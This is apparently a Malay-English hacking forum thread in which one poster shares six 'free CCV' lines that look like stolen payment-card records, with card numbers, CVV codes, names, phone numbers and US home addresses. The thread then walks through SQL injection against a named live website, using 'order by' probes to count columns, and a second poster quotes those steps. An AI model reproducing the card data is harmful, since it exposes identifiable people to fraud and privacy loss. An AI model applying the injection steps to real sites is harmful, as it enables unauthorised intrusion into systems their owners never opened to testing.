Hack Website....(Tekniknya)

[AlchemisT]

sorry kena delete

 

[AlchemisT]

Free CCV for member today:
1539301|1848867|a|373760377022007|01|09|6638|710586|Joe|Kwong|408-857-7962|270 Seaside Drive|Milpitas|95035|CA|UNITED STATES
1539263|1848829|m|5417164100075662|01|09|385|668782|Jack|O'Brien|410-474-4398|2010 Harbour Gates #311|Annapolis|21401|MD|UNITED STATES
1539259|1848825|v|4388576013675957|01|09|179|635974|LARRY |ROSE|530-582-8574|Box 1168|TRUCKEE|96160|CA|UNITED STATES
1539128|1848694|v|4388576013012870|01|09|399|383108|steven|ostrofsky|262-646-2110|n11 w29598 kings way|waukesha|53188|WI|UNITED STATES
1538937|1848504|m|5466160248210542|01|09|694|933188|Paul|LaPia|203-245-5340|169 Briarwood DR.|Guilford|06437|CT|UNITED STATES
1538897|1848464|d|6011005880702538|01|09|094|748825|Raymond|Pohland|317-277-4408|105 Lake View Dr.|Greenfield|46140|IN|UNITED STATES

 

[AlchemisT]

mana masta ni...bagilah tip...

 

[AlchemisT]

the error is:- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


that means the url is vulnerable to sql injection

now we try to find out the n.of columns...
let us start iterizing the no of columns till we get an error

for this we use the order command like this:-

sambungan

for this we use the order command like this:-

http://www.religions.ir/cont.php?sid=1 order by 1


we didn't get any error

so give the next no 2
http://www.religions.ir/cont.php?sid=1 order by 2


we didn't get any error

so give he next no 3
http://www.religions.ir/cont.php?sid=1 order by 3


we find an error like this:-
Unknown column '3' in 'order clause'

so we understand that there are only 2 columns..

 

[dreamteam]

sambungan

for this we use the order command like this:-

http://www.religions.ir/cont.php?sid=1 order by 1


we didn't get any error

so give the next no 2
http://www.religions.ir/cont.php?sid=1 order by 2


we didn't get any error

so give he next no 3
http://www.religions.ir/cont.php?sid=1 order by 3


we find an error like this:-
Unknown column '3' in 'order clause'

so we understand that there are only 2 columns..

teror juga nie....aku pun nak balajo hehehe

 

[rakyat_jelata]

hmm...
xde kelas ngajo ke ?

 

[AlchemisT]

teror juga nie....aku pun nak balajo hehehe

ni yg simple bro...i need masta...(

 

[AlchemisT]

hmm...
xde kelas ngajo ke ?

aku nk join.....

 

[dreamteam]

ni yg simple bro...i need masta...(

up sikit bagi master2 masuk

 

[AlchemisT]

masta---------> eapui, ewan0310, farahfarhana, virtualbiz ...bg la tip...